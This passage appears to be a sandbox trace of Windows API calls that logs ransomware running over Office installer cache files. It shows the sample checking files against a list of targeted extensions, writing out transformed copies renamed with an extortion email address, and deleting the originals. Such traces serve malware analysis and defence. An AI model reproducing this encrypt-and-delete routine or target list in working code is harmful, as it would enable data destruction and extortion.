dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0075.492] GetLastError () returned 0x0 [0075.492] ReadFile (in: hFile=0x194, lpBuffer=0x3ba0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x318fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesRead=0x318fed4*=0x8f8, lpOverlapped=0x0) returned 1 [0075.581] WriteFile (in: hFile=0x1c4, lpBuffer=0x3ba0020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x318fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesWritten=0x318fc9c*=0x900, lpOverlapped=0x0) returned 1 [0075.583] ReadFile (in: hFile=0x194, lpBuffer=0x3ba0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x318fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesRead=0x318fed4*=0x0, lpOverlapped=0x0) returned 1 [0075.583] WriteFile (in: hFile=0x1c4, lpBuffer=0x3ba0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x318fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesWritten=0x318fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0075.583] SetEndOfFile (hFile=0x1c4) returned 1 [0075.584] CloseHandle (hObject=0x1c4) returned 1 [0075.585] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0075.585] SetEndOfFile (hFile=0x194) returned 1 [0075.586] CloseHandle (hObject=0x194) returned 1 [0075.586] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0075.587] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0075.587] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0075.587] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0075.587] lstrlenW (lpString=".doc") returned 4 [0075.587] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0075.587] lstrlenW (lpString=".docx") returned 5 [0075.587] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0075.587] lstrlenW (lpString=".pdf") returned 4 [0075.587] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0075.587] lstrlenW (lpString=".xls") returned 4 [0075.587] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0075.588] lstrlenW (lpString=".xlsx") returned 5 [0075.588] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0075.588] lstrlenW (lpString=".ppt") returned 4 [0075.588] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0075.588] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0075.588] lstrlenW (lpString=".zip") returned 4 [0075.588] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0075.588] lstrlenW (lpString=".rar") returned 4 [0075.588] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0075.588] lstrlenW (lpString=".bz2") returned 4 [0075.588] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0075.588] lstrlenW (lpString=".7z") returned 3 [0075.588] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0075.588] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0075.588] lstrlenW (lpString=".dbf") returned 4 [0075.588] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0075.588] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0075.588] lstrlenW (lpString=".1cd") returned 4 [0075.589] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0075.589] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0075.589] lstrlenW (lpString=".jpg") returned 4 [0075.589] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0075.589] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0076.124] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0076.124] lstrlenW (lpString=".doc") returned 4 [0076.124] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0076.124] lstrlenW (lpString=".docx") returned 5 [0076.124] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0076.124] lstrlenW (lpString=".pdf") returned 4 [0076.124] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0076.124] lstrlenW (lpString=".xls") returned 4 [0076.124] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0076.124] lstrlenW (lpString=".xlsx") returned 5 [0076.124] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0076.124] lstrlenW (lpString=".ppt") returned 4 [0076.124] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0076.124] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0076.125] lstrlenW (lpString=".zip") returned 4 [0076.125] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0076.125] lstrlenW (lpString=".rar") returned 4 [0076.125] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0076.125] lstrlenW (lpString=".bz2") returned 4 [0076.125] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0076.125] lstrlenW (lpString=".7z") returned 3 [0076.125] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0076.125] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0076.125] lstrlenW (lpString=".dbf") returned 4 [0076.125] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0076.125] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0076.125] lstrlenW (lpString=".1cd") returned 4 [0076.125] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0076.125] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0076.125] lstrlenW (lpString=".jpg") returned 4 [0076.125] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0076.126] lstrcmpiW (lpString1=".xml", lpString2=".data") returned 1 [0076.126] lstrlenW (lpString="Proof.xml") returned 9 [0076.126] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0076.410] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x318ff1c | out: lpFileSize=0x318ff1c*=1347) returned 1 [0076.410] CloseHandle (hObject=0x1c0) returned 1 [0076.410] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml")) returned 0x2020 [0076.410] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0076.410] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0076.410] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0076.411] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0076.411] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0077.019] GetLastError () returned 0x0 [0077.019] ReadFile (in: hFile=0x1c0, lpBuffer=0x3ba0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x318fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesRead=0x318fed4*=0x543, lpOverlapped=0x0) returned 1 [0077.021] WriteFile (in: hFile=0x1fc, lpBuffer=0x3ba0020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x318fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesWritten=0x318fc9c*=0x550, lpOverlapped=0x0) returned 1 [0077.023] ReadFile (in: hFile=0x1c0, lpBuffer=0x3ba0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x318fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesRead=0x318fed4*=0x0, lpOverlapped=0x0) returned 1 [0077.023] WriteFile (in: hFile=0x1fc, lpBuffer=0x3ba0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x318fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesWritten=0x318fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0077.023] SetEndOfFile (hFile=0x1fc) returned 1 [0077.023] CloseHandle (hObject=0x1fc) returned 1 [0077.027] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0077.027] SetEndOfFile (hFile=0x1c0) returned 1 [0077.028] CloseHandle (hObject=0x1c0) returned 1 [0077.029] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0077.029] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml")) returned 1 [0077.030] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0077.030] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0077.030] lstrlenW (lpString=".doc") returned 4 [0077.030] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0077.030] lstrlenW (lpString=".docx") returned 5 [0077.030] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0077.030] lstrlenW (lpString=".pdf") returned 4 [0077.030] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0077.030] lstrlenW (lpString=".xls") returned 4 [0077.030] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0077.030] lstrlenW (lpString=".xlsx") returned 5 [0077.030] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0077.030] lstrlenW (lpString=".ppt") returned 4 [0077.030] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0077.030] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0077.030] lstrlenW (lpString=".zip") returned 4 [0077.030] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0077.030] lstrlenW (lpString=".rar") returned 4 [0077.031] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0077.031] lstrlenW (lpString=".bz2") returned 4 [0077.031] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0077.031] lstrlenW (lpString=".7z") returned 3 [0077.031] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0077.031] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0077.031] lstrlenW (lpString=".dbf") returned 4 [0077.031] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0077.031] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0077.031] lstrlenW (lpString=".1cd") returned 4 [0077.031] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0077.031] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0077.031] lstrlenW (lpString=".jpg") returned 4 [0077.031] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0077.031] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0077.031] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0077.031] lstrlenW (lpString=".doc") returned 4 [0077.031] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0077.032] lstrlenW (lpString=".docx") returned 5 [0077.032] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0077.032] lstrlenW (lpString=".pdf") returned 4 [0077.032] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0077.032] lstrlenW (lpString=".xls") returned 4 [0077.032] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0077.032] lstrlenW (lpString=".xlsx") returned 5 [0077.032] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0077.032] lstrlenW (lpString=".ppt") returned 4 [0077.032] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0077.032] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0077.032] lstrlenW (lpString=".zip") returned 4 [0077.032] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0077.032] lstrlenW (lpString=".rar") returned 4 [0077.032] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0077.032] lstrlenW (lpString=".bz2") returned 4 [0077.032] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0077.032] lstrlenW (lpString=".7z") returned 3 [0077.032] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0077.033] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0077.033] lstrlenW (lpString=".dbf") returned 4 [0077.033] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0077.033] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0077.033] lstrlenW (lpString=".1cd") returned 4 [0077.033] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0077.033] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0077.033] lstrlenW (lpString=".jpg") returned 4 [0077.033] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0077.033] lstrcmpiW (lpString1=".xml", lpString2=".data") returned 1 [0077.033] lstrlenW (lpString="VisioMUI.xml") returned 12 [0077.033] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0078.171] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x318ff1c | out: lpFileSize=0x318ff1c*=9503) returned 1 [0078.171] CloseHandle (hObject=0x1fc) returned 1 [0078.172] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml")) returned 0x2020 [0078.172] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0078.172] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0078.172] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0078.173] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0078.173] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0078.174] GetLastError () returned 0x0 [0078.174] ReadFile (in: hFile=0x1fc, lpBuffer=0x3ba0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x318fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesRead=0x318fed4*=0x251f, lpOverlapped=0x0) returned 1 [0078.606] WriteFile (in: hFile=0x1d0, lpBuffer=0x3ba0020*, nNumberOfBytesToWrite=0x2520, lpNumberOfBytesWritten=0x318fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesWritten=0x318fc9c*=0x2520, lpOverlapped=0x0) returned 1 [0078.607] ReadFile (in: hFile=0x1fc, lpBuffer=0x3ba0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x318fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesRead=0x318fed4*=0x0, lpOverlapped=0x0) returned 1 [0078.607] WriteFile (in: hFile=0x1d0, lpBuffer=0x3ba0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x318fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesWritten=0x318fc9c*=0xec, lpOverlapped=0x0) returned 1 [0078.607] SetEndOfFile (hFile=0x1d0) returned 1 [0078.608] CloseHandle (hObject=0x1d0) returned 1 [0078.609] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0078.609] SetEndOfFile (hFile=0x1fc) returned 1 [0078.610] CloseHandle (hObject=0x1fc) returned 1 [0078.610] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0078.611] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml")) returned 1 [0078.611] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0078.611] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0078.611] lstrlenW (lpString=".doc") returned 4 [0078.611] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0078.611] lstrlenW (lpString=".docx") returned 5 [0078.611] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0078.612] lstrlenW (lpString=".pdf") returned 4 [0078.612] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0078.612] lstrlenW (lpString=".xls") returned 4 [0078.612] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0078.612] lstrlenW (lpString=".xlsx") returned 5 [0078.612] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0078.612] lstrlenW (lpString=".ppt") returned 4 [0078.612] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0078.612] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0078.612] lstrlenW (lpString=".zip") returned 4 [0078.612] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0078.612] lstrlenW (lpString=".rar") returned 4 [0078.612] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0078.612] lstrlenW (lpString=".bz2") returned 4 [0078.612] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0078.612] lstrlenW (lpString=".7z") returned 3 [0078.612] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0078.612] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0078.612] lstrlenW (lpString=".dbf") returned 4 [0078.612] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0078.612] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0078.613] lstrlenW (lpString=".1cd") returned 4 [0078.613] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0078.613] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0078.613] lstrlenW (lpString=".jpg") returned 4 [0078.613] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0078.613] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0078.613] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0078.613] lstrlenW (lpString=".doc") returned 4 [0078.613] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0078.613] lstrlenW (lpString=".docx") returned 5 [0078.613] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0078.613] lstrlenW (lpString=".pdf") returned 4 [0078.613] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0078.613] lstrlenW (lpString=".xls") returned 4 [0078.613] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0078.613] lstrlenW (lpString=".xlsx") returned 5 [0078.613] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0078.613] lstrlenW (lpString=".ppt") returned 4 [0078.613] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0078.613] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0078.613] lstrlenW (lpString=".zip") returned 4 [0078.613] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0078.613] lstrlenW (lpString=".rar") returned 4 [0078.613] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0078.614] lstrlenW (lpString=".bz2") returned 4 [0078.614] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0078.614] lstrlenW (lpString=".7z") returned 3 [0078.614] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0078.614] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0078.614] lstrlenW (lpString=".dbf") returned 4 [0078.614] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0078.614] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0078.614] lstrlenW (lpString=".1cd") returned 4 [0078.614] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0078.614] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0078.614] lstrlenW (lpString=".jpg") returned 4 [0078.614] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0078.614] lstrcmpiW (lpString1=".xml", lpString2=".data") returned 1 [0078.614] lstrlenW (lpString="Setup.xml") returned 9 [0078.615] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0078.615] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x318ff1c | out: lpFileSize=0x318ff1c*=1872) returned 1 [0078.615] CloseHandle (hObject=0x1fc) returned 1 [0078.615] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0078.615] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0078.615] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0078.615] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0078.616] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, 